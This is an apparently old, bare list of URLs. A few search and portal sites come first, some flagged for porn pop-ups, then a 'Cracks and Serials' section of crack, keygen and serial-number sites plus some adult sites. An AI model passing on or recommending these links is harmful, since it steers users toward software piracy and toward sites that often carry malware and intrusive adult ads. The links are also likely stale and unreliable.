http://www.dream-avenue.com/docky/leportail.htm
http://www.cracks.spb.ru/ (porn banners )
http://www.akribo-search.de.vu/ (porn pop ups)
http://allseek.info/ (too many pop ups )
http://www.cracks.am/ (s.x LOTS of adult pop ups)
http://www.search-explorer.net/installer.php
http://www.toflo.de/htm/link.htm
http://www.ixquick.com/
http://keygen.freeweb.hu/index/m.htm

Cracks and Serials :

http://www.eminence.gulli.com/
http://forum.royaume.com/
http://key.winzheng.com/
http://www.exelenz.fr.st/
http://antares666.da.ru/
http://www.deamoncrack.fr.st/
http://hide.at/apizza
http://www.n-genworld.com/
http://www.reptilecracker.com/
http://kickme.to/desperate
http://mp2k.da.ru/
http://kickme.to/tsrh
http://kickme.to/pc2k/
http://kickme.to/dbc
http://zor.org/tnone/
http://dbz.6x.to/
http://evc.to/cracks/
http://www.ego1st.cjb.net/
http://kickme.to/tnt
http://meubrfree.com.br/~trwhome/
http://zor.org/vb4free/
http://kickme.to/winblowz98/
http://www.siker.org/flash/en_main.htm
http://www.great-crack.com/
http://flowers.pp.ru/rcz/a1.htm
http://www.xsex.dk/
http://x-filez.harem2.pl/index_y.htm
http://netchat.3322.net/service/register/zcma.htm